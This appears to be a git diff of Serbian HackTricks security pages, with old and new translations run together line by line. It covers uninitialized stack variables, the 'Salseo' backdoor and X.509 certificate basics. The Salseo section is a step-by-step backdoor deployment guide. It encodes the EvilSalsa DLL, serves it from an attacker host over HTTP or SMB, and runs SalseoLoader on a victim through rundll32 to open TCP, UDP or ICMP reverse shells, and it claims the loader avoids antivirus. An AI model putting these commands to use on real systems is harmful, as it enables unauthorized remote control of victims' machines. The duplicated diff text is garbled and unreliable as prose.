Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Osnovne informacije ## Osnovne informacije
Osnovna ideja ovde je razumeti šta se dešava sa **neinicijalizovanim promenljivima jer će imati vrednost koja je već bila u dodeljenoj memoriji njima.** Primer: Osnovna ideja ovde je razumeti šta se dešava sa **neinicijalizovanim promenljivama jer će imati vrednost koja je već bila u dodeljenoj memoriji za njih.** Primer:
* **Funkcija 1: `initializeVariable`**: Deklarisali smo promenljivu `x` i dodelili joj vrednost, recimo `0x1234`. Ova akcija je slična rezervisanju mesta u memoriji i postavljanju određene vrednosti u nju. * **Funkcija 1: `initializeVariable`**: Deklarisali smo promenljivu `x` i dodelili joj vrednost, recimo `0x1234`. Ova akcija je slična rezervisanju mesta u memoriji i stavljanju specifične vrednosti u nju.
* **Funkcija 2: `useUninitializedVariable`**: Ovde deklarišemo drugu promenljivu `y` ali joj ne dodeljujemo nikakvu vrednost. U programskom jeziku C, neinicijalizovane promenljive se ne postavljaju automatski na nulu. Umesto toga, zadržavaju vrednost koja je poslednja bila sačuvana na njihovoj memorijskoj lokaciji. * **Funkcija 2: `useUninitializedVariable`**: Ovde, deklarisali smo još jednu promenljivu `y`, ali joj nismo dodelili nikakvu vrednost. U C-u, neinicijalizovane promenljive se automatski ne postavljaju na nulu. Umesto toga, zadržavaju bilo koju vrednost koja je poslednja sačuvana na njihovoj memorijskoj lokaciji.
Kada pokrenemo ove dve funkcije **sekvencijalno**: Kada pokrenemo ove dve funkcije **uzastopno**:
1. U `initializeVariable`, `x` je dodeljena vrednost (`0x1234`), koja zauzima određenu memorijsku adresu. 1. U `initializeVariable`, `x` dobija vrednost (`0x1234`), koja zauzima specifičnu adresu u memoriji.
2. U `useUninitializedVariable`, `y` je deklarisana ali joj nije dodeljena vrednost, pa zauzima memorijsko mesto odmah posle `x`. Zbog nedostatka inicijalizacije `y`, završava "nasleđujući" vrednost sa iste memorijske lokacije koju koristi `x`, jer je to poslednja vrednost koja je bila tamo. 2. U `useUninitializedVariable`, `y` je deklarisana, ali joj nije dodeljena vrednost, pa zauzima memorijsko mesto odmah nakon `x`. Zbog neinicijalizovanja `y`, ona na kraju "nasleđuje" vrednost iz iste memorijske lokacije koju koristi `x`, jer je to poslednja vrednost koja je bila tamo.
Ovo ponašanje ilustruje ključni koncept u programiranju na niskom nivou: **Upravljanje memorijom je ključno**, a neinicijalizovane promenljive mogu dovesti do nepredvidivog ponašanja ili sigurnosnih ranjivosti, jer mogu nenamerno držati osetljive podatke ostavljene u memoriji. Ovo ponašanje ilustruje ključni koncept u niskonivou programiranju: **Upravljanje memorijom je ključno**, a neinicijalizovane promenljive mogu dovesti do nepredvidivog ponašanja ili sigurnosnih ranjivosti, jer mogu nenamerno sadržati osetljive podatke ostavljene u memoriji.
Neinicijalizovane promenljive na steku mogu predstavljati nekoliko sigurnosnih rizika kao što su: Neinicijalizovane promenljive na steku mogu predstavljati nekoliko sigurnosnih rizika kao što su:
* **Curenje podataka**: Osetljive informacije poput lozinki, ključeva za šifrovanje ili ličnih detalja mogu biti izložene ako se čuvaju u neinicijalizovanim promenljivima, omogućavajući napadačima da potencijalno pročitaju ove podatke. * **Curjenje podataka**: Osetljive informacije kao što su lozinke, ključevi za enkripciju ili lični podaci mogu biti izloženi ako su sačuvani u neinicijalizovanim promenljivama, omogućavajući napadačima da potencijalno pročitaju ove podatke.
* **Otkrivanje informacija**: Sadržaj neinicijalizovanih promenljivih može otkriti detalje o memorijskoj strukturi programa ili internim operacijama, pomažući napadačima u razvoju ciljanih eksploatacija. * **Otkrivanje informacija**: Sadržaj neinicijalizovanih promenljivih može otkriti detalje o rasporedu memorije programa ili unutrašnjim operacijama, pomažući napadačima u razvoju ciljanih eksploatacija.
* **Padovi i nestabilnost**: Operacije koje uključuju neinicijalizovane promenljive mogu rezultirati nedefinisanim ponašanjem, što dovodi do rušenja programa ili nepredvidivih ishoda. * **Rušenja i nestabilnost**: Operacije koje uključuju neinicijalizovane promenljive mogu rezultirati neodređenim ponašanjem, što dovodi do rušenja programa ili nepredvidivih ishoda.
* **Izvršavanje proizvoljnog koda**: U određenim scenarijima, napadači bi mogli iskoristiti ove ranjivosti da promene tok izvršavanja programa, omogućavajući im da izvrše proizvoljan kod, što može uključivati pretnje izvršavanjem udaljenog koda. * **Izvršavanje proizvoljnog koda**: U određenim scenarijima, napadači bi mogli iskoristiti ove ranjivosti da promene tok izvršavanja programa, omogućavajući im da izvrše proizvoljan kod, što može uključivati pretnje od daljinskog izvršavanja koda.
### Primer ### Primer
```c ```c
@ -67,10 +68,25 @@ return 0;
``` ```
#### Kako ovo funkcioniše: #### Kako ovo funkcioniše:
* **Funkcija `initializeAndPrint`**: Ova funkcija deklariše celobrojnu promenljivu `initializedVar`, dodeljuje joj vrednost `100`, a zatim štampa kako memorijsku adresu tako i vrednost promenljive. Ovaj korak je jednostavan i pokazuje kako se ponaša inicijalizovana promenljiva. * **`initializeAndPrint` funkcija**: Ova funkcija deklariše celobrojnu promenljivu `initializedVar`, dodeljuje joj vrednost `100`, a zatim ispisuje i adresu u memoriji i vrednost promenljive. Ovaj korak je jednostavan i pokazuje kako se ponaša inicijalizovana promenljiva.
* **Funkcija `demonstrateUninitializedVar`**: U ovoj funkciji deklarišemo celobrojnu promenljivu `uninitializedVar` bez inicijalizacije. Kada pokušamo da štampamo njenu vrednost, izlaz može pokazati nasumičan broj. Taj broj predstavlja bilo koje podatke koji su prethodno bili na toj memorijskoj lokaciji. Zavisno od okruženja i kompajlera, stvarni izlaz može varirati, a ponekad, radi bezbednosti, neki kompajleri automatski mogu inicijalizovati promenljive na nulu, iako se na to ne bi trebalo oslanjati. * **`demonstrateUninitializedVar` funkcija**: U ovoj funkciji, deklarišemo celobrojnu promenljivu `uninitializedVar` bez inicijalizacije. Kada pokušamo da ispišemo njenu vrednost, izlaz može prikazati nasumičan broj. Ovaj broj predstavlja bilo koje podatke koji su prethodno bili na toj adresi u memoriji. U zavisnosti od okruženja i kompajlera, stvarni izlaz može varirati, a ponekad, iz bezbednosnih razloga, neki kompajleri mogu automatski inicijalizovati promenljive na nulu, iako se na to ne treba oslanjati.
* **Funkcija `main`**: Funkcija `main` poziva obe prethodne funkcije jednu za drugom, demonstrirajući kontrast između inicijalizovane i neinicijalizovane promenljive. * **`main` funkcija**: `main` funkcija poziva obe gornje funkcije redom, demonstrirajući razliku između inicijalizovane i neinicijalizovane promenljive.
## Primer za ARM64 ## ARM64 Primer
Ovo se u potpunosti ne menja u ARM64 jer se lokalne promenljive takođe upravljaju na steku, možete [**proveriti ovaj primer**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) gde je to prikazano. Ovo se uopšte ne menja u ARM64 jer se lokalne promenljive takođe upravljaju na steku, možete [**proveriti ovaj primer**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) gde je ovo prikazano.
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# Salseo # Salseo
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Kompajliranje binarnih fajlova ## Kompajliranje binarnih fajlova
Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Trebaće vam **Visual Studio** instaliran da biste kompajlirali kod. Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Biće vam potreban **Visual Studio** instaliran da biste kompajlirali kod.
Kompajlirajte ove projekte za arhitekturu Windows sistema na kojem ćete ih koristiti (ako Windows podržava x64, kompajlirajte ih za tu arhitekturu). Kompajlirajte te projekte za arhitekturu Windows mašine na kojoj ćete ih koristiti (Ako Windows podržava x64, kompajlirajte ih za tu arhitekturu).
Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" Tab-u** u **"Platform Target"**. Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" tabu** u **"Platform Target".**
(\*\*Ako ne možete pronaći ove opcije, pritisnite na **"Project Tab"** a zatim na **"\<Project Name> Properties"**) (\*\*Ako ne možete pronaći ove opcije, pritisnite na **"Project Tab"** a zatim na **"\<Project Name> Properties"**)
![](<../.gitbook/assets/image (839).png>) ![](<../.gitbook/assets/image (839).png>)
Zatim, izgradite oba projekta (Build -> Build Solution) (Unutar logova će se pojaviti putanja izvršnog fajla): Zatim, izgradite oba projekta (Build -> Build Solution) (Unutar logova će se pojaviti putanja do izvršnog fajla):
![](<../.gitbook/assets/image (381).png>) ![](<../.gitbook/assets/image (381).png>)
## Priprema zadnjih vrata ## Pripremite Backdoor
Prvo, moraćete da enkodujete **EvilSalsa.dll.** Da biste to uradili, možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**: Prvo, biće potrebno da kodirate **EvilSalsa.dll.** Da biste to uradili, možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**:
### **Python** ### **Python**
``` ```
@ -44,46 +45,46 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE> EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
``` ```
Sada imate sve što vam je potrebno da izvršite ceo Salseo postupak: **enkodirani EvilDalsa.dll** i **binarni fajl SalseoLoader.** Ok, sada imate sve što vam je potrebno da izvršite sve Salseo stvari: **encoded EvilDalsa.dll** i **binary of SalseoLoader.**
**Otpremite binarni fajl SalseoLoader.exe na mašinu. Ne bi trebalo da budu otkriveni od strane bilo kog AV...** **Otpremite SalseoLoader.exe binarni fajl na mašinu. Ne bi trebalo da budu otkriveni od strane bilo kog AV...**
## **Izvršite zadnja vrata** ## **Izvršite backdoor**
### **Dobijanje TCP reverse shell-a (preuzimanje enkodiranog dll-a putem HTTP-a)** ### **Dobijanje TCP reverse shell-a (preuzimanje kodiranog dll-a putem HTTP-a)**
Zapamtite da pokrenete nc kao osluškivač za reverse shell i HTTP server da posluži enkodirani evilsalsa. Zapamtite da pokrenete nc kao slušalac reverse shell-a i HTTP server da poslužite kodirani evilsalsa.
``` ```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port> SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
``` ```
### **Dobijanje UDP reverse shell-a (preuzimanje enkodovanog dll-a preko SMB-a)** ### **Dobijanje UDP reverzibilne ljuske (preuzimanje kodirane dll preko SMB)**
Zapamtite da pokrenete nc kao osluškivač reverse shell-a, i SMB server da posluži enkodovani evilsalsa (impacket-smbserver). Zapamtite da pokrenete nc kao slušača reverzibilne ljuske, i SMB server da posluži kodirani evilsalsa (impacket-smbserver).
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
### **Dobijanje ICMP reverse shell (enkodirani dll već unutar žrtve)** ### **Dobijanje ICMP obrnute ljuske (kodirana dll već unutar žrtve)**
**Ovog puta vam je potreban poseban alat na klijentu da primi reverse shell. Preuzmite:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) **Ovoga puta vam je potreban poseban alat na klijentu da primite obrnutu ljusku. Preuzmite:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Onemogućavanje ICMP odgovora:** #### **Onemogućite ICMP odgovore:**
``` ```
sysctl -w net.ipv4.icmp_echo_ignore_all=1 sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running: #You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0 sysctl -w net.ipv4.icmp_echo_ignore_all=0
``` ```
#### Izvršite klijenta: #### Izvrši klijenta:
``` ```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>" python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
``` ```
#### Unutar žrtve, izvršimo salseo stvar: #### Unutar žrtve, hajde da izvršimo salseo stvar:
``` ```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP> SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
``` ```
## Kompajliranje SalseoLoader-a kao DLL izvođenjem glavne funkcije ## Kompajliranje SalseoLoader-a kao DLL koji izvozi glavnu funkciju
Otvorite projekat SalseoLoader koristeći Visual Studio. Otvorite SalseoLoader projekat koristeći Visual Studio.
### Dodajte pre glavne funkcije: \[DllExport] ### Dodajte pre glavne funkcije: \[DllExport]
@ -95,59 +96,59 @@ Otvorite projekat SalseoLoader koristeći Visual Studio.
![](<../.gitbook/assets/image (881).png>) ![](<../.gitbook/assets/image (881).png>)
#### **Pretražite DllExport paket (koristeći karticu Pretraži) i pritisnite Instaliraj (i prihvatite iskačući prozor)** #### **Pretražite DllExport paket (koristeći Browse tab), i pritisnite Instaliraj (i prihvatite iskačući prozor)**
![](<../.gitbook/assets/image (100).png>) ![](<../.gitbook/assets/image (100).png>)
U vašem fasciklu projekta pojavili su se fajlovi: **DllExport.bat** i **DllExport\_Configure.bat** U vašem projektnom folderu su se pojavili fajlovi: **DllExport.bat** i **DllExport\_Configure.bat**
### **De**instalirajte DllExport ### **De**instalirajte DllExport
Pritisnite **Deinstaliraj** (da, čudno je, ali verujte mi, neophodno je) Pritisnite **Deinstaliraj** (da, čudno je, ali verujte mi, to je neophodno)
![](<../.gitbook/assets/image (97).png>) ![](<../.gitbook/assets/image (97).png>)
### **Izađite iz Visual Studio-a i izvršite DllExport\_configure** ### **Izađite iz Visual Studio i izvršite DllExport\_configure**
Jednostavno **izađite** iz Visual Studio-a Jednostavno **izađite** iz Visual Studio
Zatim, idite u vaš **SalseoLoader folder** i **izvršite DllExport\_Configure.bat** Zatim, idite u vaš **SalseoLoader folder** i **izvršite DllExport\_Configure.bat**
Izaberite **x64** (ako ćete ga koristiti unutar x64 okvira, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Primeni** Izaberite **x64** (ako planirate da ga koristite unutar x64 okvira, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Primeni**
![](<../.gitbook/assets/image (882).png>) ![](<../.gitbook/assets/image (882).png>)
### **Otvorite projekat ponovo sa Visual Studio-om** ### **Ponovo otvorite projekat sa Visual Studio**
**\[DllExport]** više ne bi trebalo da bude označen kao greška **\[DllExport]** više ne bi trebao biti označen kao greška
![](<../.gitbook/assets/image (670).png>) ![](<../.gitbook/assets/image (670).png>)
### Izgradite rešenje ### Izgradite rešenje
Izaberite **Tip izlaza = Biblioteka klasa** (Projekat --> SalseoLoader Properties --> Application --> Tip izlaza = Biblioteka klasa) Izaberite **Tip izlaza = Klasa biblioteka** (Projekat --> SalseoLoader Svojstva --> Aplikacija --> Tip izlaza = Klasa biblioteka)
![](<../.gitbook/assets/image (847).png>) ![](<../.gitbook/assets/image (847).png>)
Izaberite **x64 platformu** (Projekat --> SalseoLoader Properties --> Build --> Ciljna platforma = x64) Izaberite **x64** **platformu** (Projekat --> SalseoLoader Svojstva --> Izgradnja --> Ciljna platforma = x64)
![](<../.gitbook/assets/image (285).png>) ![](<../.gitbook/assets/image (285).png>)
Da biste **izgradili** rešenje: Build --> Izgradi rešenje (Unutar konzole za izlaz pojaviće se putanja nove DLL datoteke) Da **izgradite** rešenje: Izgradnja --> Izgradi rešenje (Unutar izlazne konzole će se pojaviti putanja novog DLL-a)
### Testirajte generisanu Dll ### Testirajte generisani DLL
Kopirajte i nalepite DLL gde želite da je testirate. Kopirajte i nalepite DLL gde želite da ga testirate.
Izvršite: Izvršite:
``` ```
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
Ako se ne pojavi greška, verovatno imate funkcionalnu DLL!! Ako se ne pojavi greška, verovatno imate funkcionalni DLL!!
## Dobijanje shell-a korišćenjem DLL-a ## Dobijanje shel-a koristeći DLL
Ne zaboravite da koristite **HTTP server** i postavite **nc listener** Ne zaboravite da koristite **HTTP** **server** i postavite **nc** **listener**
### Powershell ### Powershell
``` ```
@ -159,8 +160,6 @@ $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
### CMD ### CMD
### Командна линија
``` ```
set pass=password set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -169,16 +168,17 @@ set lport=1337
set shell=reversetcp set shell=reversetcp
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini da podržite HackTricks: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# Sertifikati # Certificates
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Dobijte pristup danas: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## Šta je Sertifikat ## Šta je sertifikat
**Javni ključni sertifikat** je digitalni ID koji se koristi u kriptografiji da bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća. **Javni ključ sertifikat** je digitalni ID koji se koristi u kriptografiji da dokaže da neko poseduje javni ključ. Uključuje detalje o ključevi, identitet vlasnika (subjekt) i digitalni potpis od poverljive vlasti (izdavača). Ako softver veruje izdavaču i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća.
Sertifikati se uglavnom izdaju od strane [sertifikacionih autoriteta](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u postavci [infrastrukture javnih ključeva](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi za specifične potrebe kako je opisano u RFC 5280. Sertifikati se uglavnom izdaju od strane [sertifikacionih tela](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u okviru [infrastrukture javnog ključa](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Druga metoda je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi specifičnim potrebama kako je navedeno u RFC 5280.
## x509 Uobičajena Polja ## x509 Uobičajena polja
### **Uobičajena Polja u x509 Sertifikatima** ### **Uobičajena polja u x509 sertifikatima**
U x509 sertifikatima, nekoliko **polja** igraju ključne uloge u osiguravanju validnosti i sigurnosti sertifikata. Evo razbijanja ovih polja: U x509 sertifikatima, nekoliko **polja** igra ključne uloge u obezbeđivanju validnosti i sigurnosti sertifikata. Evo pregleda ovih polja:
* **Broj Verzije** označava verziju formata x509. * **Broj verzije** označava verziju x509 formata.
* **Seriski Broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacionog Autoriteta (CA), uglavnom za praćenje opoziva. * **Serijski broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacionog tela (CA), uglavnom za praćenje opoziva.
